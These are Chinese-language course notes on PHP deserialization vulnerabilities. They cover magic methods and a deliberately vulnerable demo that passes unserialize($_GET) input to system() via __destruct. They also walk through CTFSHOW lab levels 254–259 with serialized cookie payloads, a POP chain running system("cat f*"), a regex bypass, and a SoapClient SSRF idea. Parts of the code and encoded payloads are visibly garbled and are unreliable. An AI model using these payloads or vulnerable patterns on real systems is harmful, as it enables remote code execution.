第45天 WEB攻防-通用漏洞&PHP反序列化&POP链构造&魔术方法&原生类
知识点:
1、什么是反序列化操作?格式转换
2、为什么会出现安全漏洞?魔术方法
3、反序列化漏洞如何发现?对象逻辑
4、反序列化漏洞如何利用?-POP链构造
补充:反序列化利用大概分类三类
魔术方法的调用逻辑如触发条件
语言原生类的调用逻辑如SoapClient
-语言自身的安全缺陷如CVE-2016-7124
#反序列化课程点:
-PHP&Java&Python
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
serialize() //将一个对象转换成一个字符串
unserialize()//将字符串还原成一个对象
#PHP反序列化漏洞
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而
导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些
魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
#魔术方法利用点分析:
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct()://构造函数,当对象new的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup()://unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
演示序列化和反序列操作,将对象转化成数组或字符串
<?php
//序列化&反序列化
class demotest{
public $name='xiaodi';
public $sex='man';
public $age='29';
}
$example=new demotest();
$s=serialize($example);//序列化
$u=unserialize($s);//反序列化
echo $s.'<br>';
var_dump($u);
echo '<br>';
//O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s:3:"age";s:2:"29";}
//object(demotest)#2 (3) { ["name"]=> string(6) "xiaodi" ["sex"]=> string(3) "man" ["age"]=> string(2) "29" }
演示创建对象即可触发__construct魔术方法,销毁对象触发__destruct,把类当作字符串使用时触发__toString()
//安全问题
class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){
echo 'x'.'<br>';
}
public function __construct(){
echo '__construct'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
//无需函数,创建对象触发魔术方法
//$a=new A();//触发__construct
//$a->test();//触发test
//echo $a;//触发__toString
//触发__destruct
echo serialize($a);
$t=unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}');
$t->test();
此处创建新对象会自动先输出xiaodisec然后执行ipconfig,此处传参将参数反序列化时会自动触发__destruct()执行ipconfig命令
//漏洞出现
class B{
public function __destruct(){
system('ipconfig');
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//函数引用,无对象创建触发魔术方法
//?x=O:1:"B":1:{s:4:"test";s:3:"ver";}
unserialize($_GET[x]);
//$b=new b();
//echo serialize($b);
此处算是正式利用反序列化触发__destruct(),执行系统命令ipconfig,在函数引用时,使用了反序列化漏洞的方式来构造了一个恶意对象,
由于在反序列化过程中会触发 __destruct() 方法的执行,因此可以通过构造恶意对象来执行任意系统命令,导致严重的安全问题。
具体来说,当我们通过访问链接 ?c=O:1:"C":1:{s:3:"cmd";s:3:"ver";} 来触发反序列化操作时,
会将该字符串反序列化为一个对象,并调用其中的 __destruct() 方法。
由于 $cmd 成员变量的值被设置为字符串 "ipconfig",因此在调用 __destruct() 方法时,会执行系统命令 system($this->cmd),
从而执行 ipconfig 命令并输出相关信息。
class C{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//函数引用,无对象创建触发魔术方法自定义变量
//?c=O:1:"C":1:{s:3:"cmd";s:3:"ver";}
unserialize($_GET[c]);
演示案例:
反序列化魔术方法&漏洞引发&变量修改等
CTFSHOW-关卡254到260-原生类&POP构造
CMS代码审计-Typecho)反序列化&魔术方法逻辑
#CTFSHOW-关卡254-260原生类&POP构造
254对象引用执行逻辑
username=xxxxx&password=xxxxxx
思路:从代码分析若想输出flag则需要isvip为真,而isvip为真需要调用方法login满足接收的参数usernam和password=xxxxx,则只需要通过get方式传入正确参数即可
255反序列化变量修改1
Code
publc ¥svip=true
$a=new ctishowUserl
echo urlencode(senalize($a));
Get userame=xxxxoxxpassword=xxxxx
Cookie:user=O3A113A%22ctfShowUser223A363A7Bs%3A8%3A22usema
me223BsG0A693A122xxxxx1223Bs3AB1 3A122password%22%3Bs9 3A6
9%3A02200000.22%3Bs%3A5,3A622isVp%,22%3BD%3A1%3日%,7D
思路:同上关,需要将isvip确定为ture,但是代码中并无修改isvip的方法,此时需要通过构造pop链将isvip确定为ture,构造pop链的方法是创建一个新对象,并将对象通过序列化的方法输出出来(此时还需要将序列化后的对象进行url编码防止乱码的现象发生),然后将序列化编码后的对象通过修改数据包传参到cookie字段中的user变量,然后代码会通过反序列化的方式将isvip修改为ture,修改数据包时还需要通过get方式传参username和password进行登录验证(因为只有登录成功以后函数才会使得if($user->login($username,$password))为真)。
256-反序列化参数修改2
CODE
public $username='x';
public $password='y';
public $isVip=true;
Sa=new ctfShowUser().
echo urlencode(serialize(Sa));
GET.userame=x&password=y
COOKIE:user=0%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22usern
ame%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22 passw0rd%22%3Bs%3A1%3A
%22y%22%3Bs%3A5%3A%22isVp%22%3Bb%3A1%3B%7D
思路:分析代码,同上关需要满足username不等于password,同时username和password都等于xxxxxx,
并且isvip为ture的情况下才会输出flag。则需要构造pop链,
构造public $username='x';public $password='y';public $isVip=true;则传参username=x&password=y,
并且反序列化后使得if($user->login($username,$password)为真,isvip为ture。并且username不等于password。
257-反序列化参数修改&对象调用逻垣
<?php
class ctfShowUser{
private $class;
public function construct(){
$this->class=new backDoor();
}
}
class backDoor(
private $code='system("cat f*");';
$b=new ctfshowUser();
echo serialize($b)
?>
思路:分析代码并没有输出flag的地方,但是存在eval()函数,此函数在反序列化中常被用来RCE,
因此试图构造pop链--
首先通过new 对象来调用__construct()魔术方法
--通过魔术方法调用backDoor方法(此处要修改class的值为bankDoor)
--修改class=new backDoor();(因为backDoor中$code为私有所以需要新建 backDoor才能调用)
--然后修改$code的变量值为"system("cat flag.php");";构造完成
--传入正确的参数,修改数据包中cookie字段反序列化RCE执行
258-反序列化参数修改&对象调用逻辑
思路:代码逻辑基本和上一关相似,只是增加了正则过滤,通过替换语句将数字替换成+数字,即可绕过。
比如原来序列化后的对象中含有8,替换为+8
/[oc]:\d+:/i,其中 / 表示正则表达式的开始和结束,[oc] 表示匹配字符集中的一个字符,
即 o 或 c,\d+ 表示匹配一个或多个数字字符,即 0 到 9,: 表示匹配冒号字符。
因此,该正则表达式的含义是匹配以 o: 或 c: 开头、后面跟着一串数字和冒号的字符串。
i 表示忽略大小写,即 o 和 c 可以是大写或小写字母。
259-原生态类8Call魔术方法8配台SSRF
参考链接:https://blog.csdn.net/qing_chuan_/article/details/134112559?utm_medium=distribute.pc_relevant.none-task-blog-2defaultbaidujs_baidulandingword~default-0-134112559-blog-122018007.235v40pc_relevant_3m_sort_dl_base1&spm=1001.2101.3001.4242.1&utm_relevant_index=3
思路:大概是观察给出的js代码和flag.php 发现存在一个没有被调用的函数,所以想到用php中的原生类调用。
目的是在index.php通过反序列化一个原生类向flag.php发送请求,然后flag.php用file_put_contents把flag放到flag.txt里。发请求用的是php里的一个内置类:SoapClient,这个类中有个__call魔术方法,当调用一个对象中不存在的方法时候,会执行call()魔术方法。来达到我们伪造请求头的目的。
#CMS代码审计-Typecho反序列化&魔术方法逻辑
https://www.anquanke.com/post/id/155306